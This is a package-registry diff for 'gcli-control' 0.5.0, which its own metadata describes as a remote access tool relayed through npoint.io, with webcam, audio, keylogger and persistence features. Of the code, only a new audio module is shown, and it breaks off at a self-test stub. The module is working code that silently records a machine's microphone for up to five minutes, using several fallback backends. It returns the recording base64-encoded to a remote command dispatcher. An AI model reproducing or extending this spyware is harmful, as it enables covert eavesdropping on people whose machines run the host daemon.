gcli-control 0.3.0__tar.gz → 0.5.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {gcli_control-0.3.0 → gcli_control-0.5.0}/PKG-INFO +2 -2
- {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/__init__.py +1 -1
- gcli_control-0.5.0/gcli/audio.py +651 -0
- gcli_control-0.5.0/gcli/automation.py +895 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/client.py +201 -0
- gcli_control-0.5.0/gcli/forensics.py +908 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/host.py +74 -1
- gcli_control-0.5.0/gcli/keylog.py +679 -0
- gcli_control-0.5.0/gcli/npoint.py +144 -0
- gcli_control-0.5.0/gcli/persistence.py +744 -0
- gcli_control-0.5.0/gcli/transfer.py +817 -0
- gcli_control-0.5.0/gcli/webcam.py +476 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli_control.egg-info/PKG-INFO +2 -2
- {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli_control.egg-info/SOURCES.txt +7 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/pyproject.toml +2 -2
- gcli_control-0.3.0/gcli/npoint.py +0 -60
- {gcli_control-0.3.0 → gcli_control-0.5.0}/README.md +0 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/__main__.py +0 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/aliases.py +0 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/clipboard.py +0 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/colors.py +0 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/crypto.py +0 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/fileops.py +0 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/monitoring.py +0 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/netutils.py +0 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/output.py +0 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/processes.py +0 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/protocol.py +0 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/security.py +0 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/session.py +0 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/system.py +0 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/utils.py +0 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli_control.egg-info/dependency_links.txt +0 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli_control.egg-info/entry_points.txt +0 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli_control.egg-info/requires.txt +0 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli_control.egg-info/top_level.txt +0 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/setup.cfg +0 -0
- {gcli_control-0.3.0 → gcli_control-0.5.0}/tests/test_integration.py +0 -0
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: gcli-control
|
|
3
|
-
Version: 0.
|
|
4
|
-
Summary: Remote access tool via npoint.io - encrypted
|
|
3
|
+
Version: 0.5.0
|
|
4
|
+
Summary: Remote access tool via npoint.io - encrypted relay with webcam, audio, keylogger, persistence, and 100+ commands
|
|
5
5
|
Author: gcli contributors
|
|
6
6
|
License-Expression: MIT
|
|
7
7
|
Project-URL: Homepage, https://github.com/gcli-control/gcli
|
|
@@ -0,0 +1,651 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Remote audio / microphone recording capabilities for the gcli host daemon.
|
|
3
|
+
Provides structured audio commands (audio_devices, audio_record, audio_info,
|
|
4
|
+
audio_level) that return JSON-serialisable result dicts.
|
|
5
|
+
"""
|
|
6
|
+
import os
|
|
7
|
+
import sys
|
|
8
|
+
import json
|
|
9
|
+
import math
|
|
10
|
+
import struct
|
|
11
|
+
import base64
|
|
12
|
+
import platform
|
|
13
|
+
import tempfile
|
|
14
|
+
import subprocess
|
|
15
|
+
import logging
|
|
16
|
+
from typing import Any, Callable, Dict, List, Optional, Tuple
|
|
17
|
+
|
|
18
|
+
logger = logging.getLogger("gcli.audio")
|
|
19
|
+
|
|
20
|
+
# ---------------------------------------------------------------------------
|
|
21
|
+
# Lazy imports for optional backends
|
|
22
|
+
# ---------------------------------------------------------------------------
|
|
23
|
+
|
|
24
|
+
_sd = None
|
|
25
|
+
_pa = None
|
|
26
|
+
|
|
27
|
+
|
|
28
|
+
def _try_sounddevice():
|
|
29
|
+
global _sd
|
|
30
|
+
if _sd is not None:
|
|
31
|
+
return _sd
|
|
32
|
+
try:
|
|
33
|
+
import sounddevice as _mod
|
|
34
|
+
_sd = _mod
|
|
35
|
+
return _sd
|
|
36
|
+
except (ImportError, OSError):
|
|
37
|
+
return None
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
def _try_pyaudio():
|
|
41
|
+
global _pa
|
|
42
|
+
if _pa is not None:
|
|
43
|
+
return _pa
|
|
44
|
+
try:
|
|
45
|
+
import pyaudio as _mod
|
|
46
|
+
_pa = _mod
|
|
47
|
+
return _pa
|
|
48
|
+
except (ImportError, OSError):
|
|
49
|
+
return None
|
|
50
|
+
|
|
51
|
+
|
|
52
|
+
# ---------------------------------------------------------------------------
|
|
53
|
+
# Helpers
|
|
54
|
+
# ---------------------------------------------------------------------------
|
|
55
|
+
|
|
56
|
+
def _platform_name() -> str:
|
|
57
|
+
"""Return a normalised platform identifier."""
|
|
58
|
+
system = platform.system()
|
|
59
|
+
if system == "Windows":
|
|
60
|
+
return "windows"
|
|
61
|
+
elif system == "Darwin":
|
|
62
|
+
return "macos"
|
|
63
|
+
else:
|
|
64
|
+
return "linux"
|
|
65
|
+
|
|
66
|
+
|
|
67
|
+
def _which(cmd: str) -> Optional[str]:
|
|
68
|
+
"""Return the path to *cmd* if found on PATH, else None."""
|
|
69
|
+
try:
|
|
70
|
+
result = subprocess.run(
|
|
71
|
+
["where" if _platform_name() == "windows" else "which", cmd],
|
|
72
|
+
capture_output=True,
|
|
73
|
+
text=True,
|
|
74
|
+
timeout=5,
|
|
75
|
+
)
|
|
76
|
+
if result.returncode == 0 and result.stdout.strip():
|
|
77
|
+
return result.stdout.strip().splitlines()[0]
|
|
78
|
+
except Exception:
|
|
79
|
+
pass
|
|
80
|
+
return None
|
|
81
|
+
|
|
82
|
+
|
|
83
|
+
def _rms_from_pcm(data: bytes, sample_width: int) -> float:
|
|
84
|
+
"""Compute RMS amplitude from raw PCM *data*."""
|
|
85
|
+
if not data or sample_width not in (1, 2, 4):
|
|
86
|
+
return 0.0
|
|
87
|
+
count = len(data) // sample_width
|
|
88
|
+
if count == 0:
|
|
89
|
+
return 0.0
|
|
90
|
+
if sample_width == 1:
|
|
91
|
+
fmt = f"<{count}B"
|
|
92
|
+
samples = struct.unpack(fmt, data[:count])
|
|
93
|
+
floats = [(s - 128) / 128.0 for s in samples]
|
|
94
|
+
elif sample_width == 2:
|
|
95
|
+
fmt = f"<{count}h"
|
|
96
|
+
samples = struct.unpack(fmt, data[:count * 2])
|
|
97
|
+
floats = [s / 32768.0 for s in samples]
|
|
98
|
+
else:
|
|
99
|
+
fmt = f"<{count}i"
|
|
100
|
+
samples = struct.unpack(fmt, data[:count * 4])
|
|
101
|
+
floats = [s / 2147483648.0 for s in samples]
|
|
102
|
+
sq_sum = sum(f * f for f in floats)
|
|
103
|
+
return math.sqrt(sq_sum / len(floats))
|
|
104
|
+
|
|
105
|
+
|
|
106
|
+
def _peak_from_pcm(data: bytes, sample_width: int) -> float:
|
|
107
|
+
"""Compute peak amplitude from raw PCM *data*."""
|
|
108
|
+
if not data or sample_width not in (1, 2, 4):
|
|
109
|
+
return 0.0
|
|
110
|
+
count = len(data) // sample_width
|
|
111
|
+
if count == 0:
|
|
112
|
+
return 0.0
|
|
113
|
+
if sample_width == 1:
|
|
114
|
+
fmt = f"<{count}B"
|
|
115
|
+
samples = struct.unpack(fmt, data[:count])
|
|
116
|
+
return max(abs(s - 128) / 128.0 for s in samples)
|
|
117
|
+
elif sample_width == 2:
|
|
118
|
+
fmt = f"<{count}h"
|
|
119
|
+
samples = struct.unpack(fmt, data[:count * 2])
|
|
120
|
+
return max(abs(s) / 32768.0 for s in samples)
|
|
121
|
+
else:
|
|
122
|
+
fmt = f"<{count}i"
|
|
123
|
+
samples = struct.unpack(fmt, data[:count * 4])
|
|
124
|
+
return max(abs(s) / 2147483648.0 for s in samples)
|
|
125
|
+
|
|
126
|
+
|
|
127
|
+
def _amplitude_to_db(amp: float) -> float:
|
|
128
|
+
"""Convert linear amplitude to dBFS. Floor at -120."""
|
|
129
|
+
if amp <= 0:
|
|
130
|
+
return -120.0
|
|
131
|
+
return 20.0 * math.log10(amp)
|
|
132
|
+
|
|
133
|
+
|
|
134
|
+
# ---------------------------------------------------------------------------
|
|
135
|
+
# AudioFeatures
|
|
136
|
+
# ---------------------------------------------------------------------------
|
|
137
|
+
|
|
138
|
+
class AudioFeatures:
|
|
139
|
+
"""Remote audio / microphone recording feature set."""
|
|
140
|
+
|
|
141
|
+
# ------------------------------------------------------------------
|
|
142
|
+
# audio_devices
|
|
143
|
+
# ------------------------------------------------------------------
|
|
144
|
+
|
|
145
|
+
def audio_devices(self, payload: dict) -> dict:
|
|
146
|
+
"""List available audio input devices."""
|
|
147
|
+
# Try sounddevice first
|
|
148
|
+
sd = _try_sounddevice()
|
|
149
|
+
if sd is not None:
|
|
150
|
+
try:
|
|
151
|
+
devices = sd.query_devices()
|
|
152
|
+
input_devs = []
|
|
153
|
+
default_id = sd.default.device[0] if sd.default.device[0] is not None else 0
|
|
154
|
+
idx = 0
|
|
155
|
+
for dev in devices:
|
|
156
|
+
if isinstance(dev, dict):
|
|
157
|
+
name = dev.get("name", f"Device {idx}")
|
|
158
|
+
max_in = dev.get("max_input_channels", 0)
|
|
159
|
+
if max_in > 0:
|
|
160
|
+
sr = dev.get("default_samplerate", 44100)
|
|
161
|
+
input_devs.append({
|
|
162
|
+
"id": idx,
|
|
163
|
+
"name": name,
|
|
164
|
+
"channels": int(max_in),
|
|
165
|
+
"sample_rate": int(sr),
|
|
166
|
+
"is_default": idx == default_id,
|
|
167
|
+
})
|
|
168
|
+
idx += 1
|
|
169
|
+
return {
|
|
170
|
+
"ok": True,
|
|
171
|
+
"devices": input_devs,
|
|
172
|
+
"count": len(input_devs),
|
|
173
|
+
"default_device": default_id,
|
|
174
|
+
}
|
|
175
|
+
except Exception as exc:
|
|
176
|
+
logger.warning("sounddevice query_devices failed: %s", exc)
|
|
177
|
+
|
|
178
|
+
# Windows fallback: PowerShell Get-PnpDevice
|
|
179
|
+
if _platform_name() == "windows":
|
|
180
|
+
try:
|
|
181
|
+
ps_cmd = (
|
|
182
|
+
"Get-PnpDevice -Class AudioEndpoint -ErrorAction SilentlyContinue | "
|
|
183
|
+
"Select-Object InstanceId, FriendlyName, Status | "
|
|
184
|
+
"ConvertTo-Json"
|
|
185
|
+
)
|
|
186
|
+
result = subprocess.run(
|
|
187
|
+
["powershell", "-NoProfile", "-Command", ps_cmd],
|
|
188
|
+
capture_output=True,
|
|
189
|
+
text=True,
|
|
190
|
+
timeout=10,
|
|
191
|
+
)
|
|
192
|
+
if result.returncode == 0 and result.stdout.strip():
|
|
193
|
+
raw = json.loads(result.stdout)
|
|
194
|
+
if isinstance(raw, dict):
|
|
195
|
+
raw = [raw]
|
|
196
|
+
devices = []
|
|
197
|
+
for i, dev in enumerate(raw):
|
|
198
|
+
name = dev.get("FriendlyName", f"Audio Device {i}")
|
|
199
|
+
devices.append({
|
|
200
|
+
"id": i,
|
|
201
|
+
"name": name,
|
|
202
|
+
"channels": 1,
|
|
203
|
+
"sample_rate": 44100,
|
|
204
|
+
"is_default": i == 0,
|
|
205
|
+
})
|
|
206
|
+
return {
|
|
207
|
+
"ok": True,
|
|
208
|
+
"devices": devices,
|
|
209
|
+
"count": len(devices),
|
|
210
|
+
"default_device": 0,
|
|
211
|
+
}
|
|
212
|
+
except Exception as exc:
|
|
213
|
+
logger.warning("PowerShell audio device query failed: %s", exc)
|
|
214
|
+
|
|
215
|
+
# Linux fallback: arecord -l
|
|
216
|
+
if _platform_name() == "linux":
|
|
217
|
+
try:
|
|
218
|
+
result = subprocess.run(
|
|
219
|
+
["arecord", "-l"],
|
|
220
|
+
capture_output=True,
|
|
221
|
+
text=True,
|
|
222
|
+
timeout=5,
|
|
223
|
+
)
|
|
224
|
+
if result.returncode == 0:
|
|
225
|
+
devices = []
|
|
226
|
+
for line in result.stdout.splitlines():
|
|
227
|
+
if "card" in line.lower():
|
|
228
|
+
# Example: card 0: PCH [HDA Intel PCH], device 0: ALC269 Analog [ALC269 Analog]
|
|
229
|
+
name_part = line.split(":", 1)[-1].strip() if ":" in line else line.strip()
|
|
230
|
+
devices.append({
|
|
231
|
+
"id": len(devices),
|
|
232
|
+
"name": name_part[:80],
|
|
233
|
+
"channels": 1,
|
|
234
|
+
"sample_rate": 44100,
|
|
235
|
+
"is_default": len(devices) == 0,
|
|
236
|
+
})
|
|
237
|
+
if devices:
|
|
238
|
+
return {
|
|
239
|
+
"ok": True,
|
|
240
|
+
"devices": devices,
|
|
241
|
+
"count": len(devices),
|
|
242
|
+
"default_device": 0,
|
|
243
|
+
}
|
|
244
|
+
except Exception as exc:
|
|
245
|
+
logger.warning("arecord -l failed: %s", exc)
|
|
246
|
+
|
|
247
|
+
return {
|
|
248
|
+
"ok": False,
|
|
249
|
+
"error": "No audio backend available. Install sounddevice (pip install sounddevice).",
|
|
250
|
+
}
|
|
251
|
+
|
|
252
|
+
# ------------------------------------------------------------------
|
|
253
|
+
# audio_record
|
|
254
|
+
# ------------------------------------------------------------------
|
|
255
|
+
|
|
256
|
+
def audio_record(self, payload: dict) -> dict:
|
|
257
|
+
"""Record audio for *duration* seconds and return base64-encoded WAV."""
|
|
258
|
+
device_id = payload.get("device_id", -1)
|
|
259
|
+
duration = float(payload.get("duration", 5))
|
|
260
|
+
sample_rate = int(payload.get("sample_rate", 44100))
|
|
261
|
+
channels = int(payload.get("channels", 1))
|
|
262
|
+
|
|
263
|
+
duration = max(0.1, min(duration, 300.0)) # clamp 0.1s – 300s
|
|
264
|
+
sample_rate = max(8000, min(sample_rate, 96000))
|
|
265
|
+
channels = max(1, min(channels, 8))
|
|
266
|
+
|
|
267
|
+
# --- Backend 1: sounddevice ---
|
|
268
|
+
sd = _try_sounddevice()
|
|
269
|
+
if sd is not None:
|
|
270
|
+
try:
|
|
271
|
+
tmp = tempfile.NamedTemporaryFile(suffix=".wav", delete=False)
|
|
272
|
+
tmp_path = tmp.name
|
|
273
|
+
tmp.close()
|
|
274
|
+
kwargs: Dict[str, Any] = {
|
|
275
|
+
"samplerate": sample_rate,
|
|
276
|
+
"channels": channels,
|
|
277
|
+
"dtype": "int16",
|
|
278
|
+
"outfile": tmp_path,
|
|
279
|
+
}
|
|
280
|
+
if device_id >= 0:
|
|
281
|
+
kwargs["device"] = device_id
|
|
282
|
+
sd.rec(int(duration * sample_rate), **kwargs)
|
|
283
|
+
sd.wait()
|
|
284
|
+
with open(tmp_path, "rb") as f:
|
|
285
|
+
wav_data = f.read()
|
|
286
|
+
os.unlink(tmp_path)
|
|
287
|
+
return {
|
|
288
|
+
"ok": True,
|
|
289
|
+
"data": base64.b64encode(wav_data).decode("ascii"),
|
|
290
|
+
"duration": duration,
|
|
291
|
+
"sample_rate": sample_rate,
|
|
292
|
+
"channels": channels,
|
|
293
|
+
"size_bytes": len(wav_data),
|
|
294
|
+
}
|
|
295
|
+
except Exception as exc:
|
|
296
|
+
logger.warning("sounddevice record failed: %s", exc)
|
|
297
|
+
|
|
298
|
+
# --- Backend 2: pyaudio ---
|
|
299
|
+
pa = _try_pyaudio()
|
|
300
|
+
if pa is not None:
|
|
301
|
+
try:
|
|
302
|
+
stream = pa.open(
|
|
303
|
+
format=pa.paInt16,
|
|
304
|
+
channels=channels,
|
|
305
|
+
rate=sample_rate,
|
|
306
|
+
input=True,
|
|
307
|
+
input_device_index=device_id if device_id >= 0 else None,
|
|
308
|
+
frames_per_buffer=int(sample_rate * 0.1),
|
|
309
|
+
)
|
|
310
|
+
frames: List[bytes] = []
|
|
311
|
+
num_chunks = int(duration / 0.1) + 1
|
|
312
|
+
for _ in range(num_chunks):
|
|
313
|
+
data = stream.read(int(sample_rate * 0.1), exception_on_overflow=False)
|
|
314
|
+
frames.append(data)
|
|
315
|
+
stream.stop_stream()
|
|
316
|
+
stream.close()
|
|
317
|
+
|
|
318
|
+
import wave
|
|
319
|
+
tmp = tempfile.NamedTemporaryFile(suffix=".wav", delete=False)
|
|
320
|
+
tmp_path = tmp.name
|
|
321
|
+
tmp.close()
|
|
322
|
+
wf = wave.open(tmp_path, "wb")
|
|
323
|
+
wf.setnchannels(channels)
|
|
324
|
+
wf.setsampwidth(pa.get_sample_size(pa.paInt16))
|
|
325
|
+
wf.setframerate(sample_rate)
|
|
326
|
+
wf.writeframes(b"".join(frames))
|
|
327
|
+
wf.close()
|
|
328
|
+
with open(tmp_path, "rb") as f:
|
|
329
|
+
wav_data = f.read()
|
|
330
|
+
os.unlink(tmp_path)
|
|
331
|
+
return {
|
|
332
|
+
"ok": True,
|
|
333
|
+
"data": base64.b64encode(wav_data).decode("ascii"),
|
|
334
|
+
"duration": duration,
|
|
335
|
+
"sample_rate": sample_rate,
|
|
336
|
+
"channels": channels,
|
|
337
|
+
"size_bytes": len(wav_data),
|
|
338
|
+
}
|
|
339
|
+
except Exception as exc:
|
|
340
|
+
logger.warning("pyaudio record failed: %s", exc)
|
|
341
|
+
|
|
342
|
+
# --- Backend 3: ffmpeg / arecord fallback ---
|
|
343
|
+
try:
|
|
344
|
+
tmp = tempfile.NamedTemporaryFile(suffix=".wav", delete=False)
|
|
345
|
+
tmp_path = tmp.name
|
|
346
|
+
tmp.close()
|
|
347
|
+
recorded = False
|
|
348
|
+
|
|
349
|
+
if _platform_name() == "windows" and _which("ffmpeg"):
|
|
350
|
+
dev_name = "Microphone"
|
|
351
|
+
if device_id >= 0:
|
|
352
|
+
devs_resp = self.audio_devices(payload)
|
|
353
|
+
if devs_resp["ok"]:
|
|
354
|
+
for d in devs_resp["devices"]:
|
|
355
|
+
if d["id"] == device_id:
|
|
356
|
+
dev_name = d["name"]
|
|
357
|
+
break
|
|
358
|
+
cmd = [
|
|
359
|
+
"ffmpeg", "-y",
|
|
360
|
+
"-f", "dshow",
|
|
361
|
+
"-i", f"audio={dev_name}",
|
|
362
|
+
"-t", str(duration),
|
|
363
|
+
"-ar", str(sample_rate),
|
|
364
|
+
"-ac", str(channels),
|
|
365
|
+
tmp_path,
|
|
366
|
+
]
|
|
367
|
+
result = subprocess.run(
|
|
368
|
+
cmd, capture_output=True, text=True, timeout=duration + 10
|
|
369
|
+
)
|
|
370
|
+
recorded = result.returncode == 0 and os.path.getsize(tmp_path) > 0
|
|
371
|
+
|
|
372
|
+
elif _platform_name() == "linux" and _which("arecord"):
|
|
373
|
+
cmd = [
|
|
374
|
+
"arecord",
|
|
375
|
+
"-d", str(int(duration)),
|
|
376
|
+
"-f", "cd",
|
|
377
|
+
"-r", str(sample_rate),
|
|
378
|
+
"-c", str(channels),
|
|
379
|
+
"-t", "wav",
|
|
380
|
+
tmp_path,
|
|
381
|
+
]
|
|
382
|
+
result = subprocess.run(
|
|
383
|
+
cmd, capture_output=True, text=True, timeout=duration + 10
|
|
384
|
+
)
|
|
385
|
+
recorded = result.returncode == 0 and os.path.getsize(tmp_path) > 0
|
|
386
|
+
|
|
387
|
+
if recorded:
|
|
388
|
+
with open(tmp_path, "rb") as f:
|
|
389
|
+
wav_data = f.read()
|
|
390
|
+
os.unlink(tmp_path)
|
|
391
|
+
return {
|
|
392
|
+
"ok": True,
|
|
393
|
+
"data": base64.b64encode(wav_data).decode("ascii"),
|
|
394
|
+
"duration": duration,
|
|
395
|
+
"sample_rate": sample_rate,
|
|
396
|
+
"channels": channels,
|
|
397
|
+
"size_bytes": len(wav_data),
|
|
398
|
+
}
|
|
399
|
+
|
|
400
|
+
if os.path.exists(tmp_path):
|
|
401
|
+
os.unlink(tmp_path)
|
|
402
|
+
|
|
403
|
+
except Exception as exc:
|
|
404
|
+
logger.warning("ffmpeg/arecord fallback failed: %s", exc)
|
|
405
|
+
|
|
406
|
+
return {
|
|
407
|
+
"ok": False,
|
|
408
|
+
"error": "No audio recording backend available. Install sounddevice or ffmpeg.",
|
|
409
|
+
}
|
|
410
|
+
|
|
411
|
+
# ------------------------------------------------------------------
|
|
412
|
+
# audio_info
|
|
413
|
+
# ------------------------------------------------------------------
|
|
414
|
+
|
|
415
|
+
def audio_info(self, payload: dict) -> dict:
|
|
416
|
+
"""Return audio system information."""
|
|
417
|
+
info: Dict[str, Any] = {
|
|
418
|
+
"ok": True,
|
|
419
|
+
"platform": _platform_name(),
|
|
420
|
+
"backend": "none",
|
|
421
|
+
"default_sample_rate": 44100,
|
|
422
|
+
"default_channels": 2,
|
|
423
|
+
"has_sounddevice": _try_sounddevice() is not None,
|
|
424
|
+
"has_pyaudio": _try_pyaudio() is not None,
|
|
425
|
+
"has_ffmpeg": _which("ffmpeg") is not None,
|
|
426
|
+
"has_arecord": _which("arecord") is not None,
|
|
427
|
+
}
|
|
428
|
+
|
|
429
|
+
# Try sounddevice for detailed defaults
|
|
430
|
+
sd = _try_sounddevice()
|
|
431
|
+
if sd is not None:
|
|
432
|
+
try:
|
|
433
|
+
info["backend"] = "sounddevice"
|
|
434
|
+
dev = sd.query_devices(kind="input")
|
|
435
|
+
info["default_sample_rate"] = int(dev.get("default_samplerate", 44100))
|
|
436
|
+
info["default_channels"] = int(dev.get("max_input_channels", 2))
|
|
437
|
+
info["default_device_name"] = dev.get("name", "Unknown")
|
|
438
|
+
except Exception:
|
|
439
|
+
pass
|
|
440
|
+
return info
|
|
441
|
+
|
|
442
|
+
# Try pyaudio
|
|
443
|
+
pa = _try_pyaudio()
|
|
444
|
+
if pa is not None:
|
|
445
|
+
try:
|
|
446
|
+
info["backend"] = "pyaudio"
|
|
447
|
+
pa_instance = pa.PyAudio()
|
|
448
|
+
default_info = pa_instance.get_default_input_device_info()
|
|
449
|
+
info["default_device_name"] = default_info.get("name", "Unknown")
|
|
450
|
+
pa_instance.terminate()
|
|
451
|
+
except Exception:
|
|
452
|
+
info["backend"] = "pyaudio"
|
|
453
|
+
return info
|
|
454
|
+
|
|
455
|
+
# Fallback
|
|
456
|
+
if _which("ffmpeg"):
|
|
457
|
+
info["backend"] = "ffmpeg"
|
|
458
|
+
elif _which("arecord"):
|
|
459
|
+
info["backend"] = "arecord"
|
|
460
|
+
|
|
461
|
+
return info
|
|
462
|
+
|
|
463
|
+
# ------------------------------------------------------------------
|
|
464
|
+
# audio_level
|
|
465
|
+
# ------------------------------------------------------------------
|
|
466
|
+
|
|
467
|
+
def audio_level(self, payload: dict) -> dict:
|
|
468
|
+
"""Record a short audio sample and compute VU level (RMS + peak)."""
|
|
469
|
+
device_id = payload.get("device_id", -1)
|
|
470
|
+
sample_rate = int(payload.get("sample_rate", 44100))
|
|
471
|
+
channels = int(payload.get("channels", 1))
|
|
472
|
+
sample_duration = 0.1
|
|
473
|
+
|
|
474
|
+
# --- Backend 1: sounddevice ---
|
|
475
|
+
sd = _try_sounddevice()
|
|
476
|
+
if sd is not None:
|
|
477
|
+
try:
|
|
478
|
+
kwargs: Dict[str, Any] = {
|
|
479
|
+
"samplerate": sample_rate,
|
|
480
|
+
"channels": channels,
|
|
481
|
+
"dtype": "int16",
|
|
482
|
+
}
|
|
483
|
+
if device_id >= 0:
|
|
484
|
+
kwargs["device"] = device_id
|
|
485
|
+
recording = sd.rec(
|
|
486
|
+
int(sample_duration * sample_rate), **kwargs
|
|
487
|
+
)
|
|
488
|
+
sd.wait()
|
|
489
|
+
# recording is a numpy array of shape (samples, channels)
|
|
490
|
+
import numpy as np
|
|
491
|
+
recording = recording.flatten()
|
|
492
|
+
pcm_data = recording.tobytes()
|
|
493
|
+
rms_lin = float(np.sqrt(np.mean(recording.astype(np.float64) ** 2))) / 32768.0
|
|
494
|
+
peak_lin = float(np.max(np.abs(recording.astype(np.float64)))) / 32768.0
|
|
495
|
+
return {
|
|
496
|
+
"ok": True,
|
|
497
|
+
"rms": round(rms_lin, 6),
|
|
498
|
+
"db": round(_amplitude_to_db(rms_lin), 1),
|
|
499
|
+
"peak": round(peak_lin, 6),
|
|
500
|
+
"peak_db": round(_amplitude_to_db(peak_lin), 1),
|
|
501
|
+
}
|
|
502
|
+
except Exception as exc:
|
|
503
|
+
logger.warning("sounddevice level failed: %s", exc)
|
|
504
|
+
|
|
505
|
+
# --- Backend 2: pyaudio ---
|
|
506
|
+
pa = _try_pyaudio()
|
|
507
|
+
if pa is not None:
|
|
508
|
+
try:
|
|
509
|
+
stream = pa.open(
|
|
510
|
+
format=pa.paInt16,
|
|
511
|
+
channels=channels,
|
|
512
|
+
rate=sample_rate,
|
|
513
|
+
input=True,
|
|
514
|
+
input_device_index=device_id if device_id >= 0 else None,
|
|
515
|
+
frames_per_buffer=int(sample_rate * sample_duration),
|
|
516
|
+
)
|
|
517
|
+
data = stream.read(int(sample_rate * sample_duration), exception_on_overflow=False)
|
|
518
|
+
stream.stop_stream()
|
|
519
|
+
stream.close()
|
|
520
|
+
rms_lin = _rms_from_pcm(data, 2)
|
|
521
|
+
peak_lin = _peak_from_pcm(data, 2)
|
|
522
|
+
return {
|
|
523
|
+
"ok": True,
|
|
524
|
+
"rms": round(rms_lin, 6),
|
|
525
|
+
"db": round(_amplitude_to_db(rms_lin), 1),
|
|
526
|
+
"peak": round(peak_lin, 6),
|
|
527
|
+
"peak_db": round(_amplitude_to_db(peak_lin), 1),
|
|
528
|
+
}
|
|
529
|
+
except Exception as exc:
|
|
530
|
+
logger.warning("pyaudio level failed: %s", exc)
|
|
531
|
+
|
|
532
|
+
# --- Backend 3: ffmpeg fallback (read raw PCM from pipe) ---
|
|
533
|
+
if _which("ffmpeg"):
|
|
534
|
+
try:
|
|
535
|
+
cmd = [
|
|
536
|
+
"ffmpeg",
|
|
537
|
+
"-f", "dshow" if _platform_name() == "windows" else "alsa",
|
|
538
|
+
"-i", "audio=Microphone" if _platform_name() == "windows" else "default",
|
|
539
|
+
"-t", str(sample_duration),
|
|
540
|
+
"-f", "s16le",
|
|
541
|
+
"-acodec", "pcm_s16le",
|
|
542
|
+
"-ar", str(sample_rate),
|
|
543
|
+
"-ac", str(channels),
|
|
544
|
+
"pipe:1",
|
|
545
|
+
]
|
|
546
|
+
result = subprocess.run(
|
|
547
|
+
cmd, capture_output=True, timeout=5,
|
|
548
|
+
)
|
|
549
|
+
if result.returncode == 0 and result.stdout:
|
|
550
|
+
data = result.stdout
|
|
551
|
+
rms_lin = _rms_from_pcm(data, 2)
|
|
552
|
+
peak_lin = _peak_from_pcm(data, 2)
|
|
553
|
+
return {
|
|
554
|
+
"ok": True,
|
|
555
|
+
"rms": round(rms_lin, 6),
|
|
556
|
+
"db": round(_amplitude_to_db(rms_lin), 1),
|
|
557
|
+
"peak": round(peak_lin, 6),
|
|
558
|
+
"peak_db": round(_amplitude_to_db(peak_lin), 1),
|
|
559
|
+
}
|
|
560
|
+
except Exception as exc:
|
|
561
|
+
logger.warning("ffmpeg level fallback failed: %s", exc)
|
|
562
|
+
|
|
563
|
+
return {
|
|
564
|
+
"ok": False,
|
|
565
|
+
"error": "No audio backend available for level measurement.",
|
|
566
|
+
}
|
|
567
|
+
|
|
568
|
+
|
|
569
|
+
# ---------------------------------------------------------------------------
|
|
570
|
+
# Dispatcher
|
|
571
|
+
# ---------------------------------------------------------------------------
|
|
572
|
+
|
|
573
|
+
_FEATURES = AudioFeatures()
|
|
574
|
+
|
|
575
|
+
_HANDLERS: Dict[str, Callable[[dict], dict]] = {
|
|
576
|
+
"audio_devices": _FEATURES.audio_devices,
|
|
577
|
+
"audio_record": _FEATURES.audio_record,
|
|
578
|
+
"audio_info": _FEATURES.audio_info,
|
|
579
|
+
"audio_level": _FEATURES.audio_level,
|
|
580
|
+
}
|
|
581
|
+
|
|
582
|
+
_TRANSPORT_KEYS = frozenset({"id", "jsonrpc", "method"})
|
|
583
|
+
|
|
584
|
+
|
|
585
|
+
def dispatch(payload: dict) -> dict:
|
|
586
|
+
"""
|
|
587
|
+
Route an audio command payload to the correct handler.
|
|
588
|
+
|
|
589
|
+
Parameters
|
|
590
|
+
----------
|
|
591
|
+
payload:
|
|
592
|
+
A dict with a ``"type"`` key matching one of the supported
|
|
593
|
+
commands (audio_devices, audio_record, audio_info, audio_level).
|
|
594
|
+
|
|
595
|
+
Returns
|
|
596
|
+
-------
|
|
597
|
+
dict
|
|
598
|
+
``{"ok": True, ...}`` on success, or ``{"ok": False, "error": "..."}`` on failure.
|
|
599
|
+
"""
|
|
600
|
+
cmd_type = payload.get("type", "")
|
|
601
|
+
handler = _HANDLERS.get(cmd_type)
|
|
602
|
+
if handler is None:
|
|
603
|
+
return {"ok": False, "error": f"Unknown audio command: {cmd_type!r}"}
|
|
604
|
+
return handler(payload)
|
|
605
|
+
|
|
606
|
+
|
|
607
|
+
# ---------------------------------------------------------------------------
|
|
608
|
+
# Self-test
|
|
609
|
+
# ---------------------------------------------------------------------------
|
|
610
|
+
|
|
611
|
+
def test_audio() -> None:
|
|
612
|
+
"""Run self-tests that don't require recording hardware."""
|
|
613
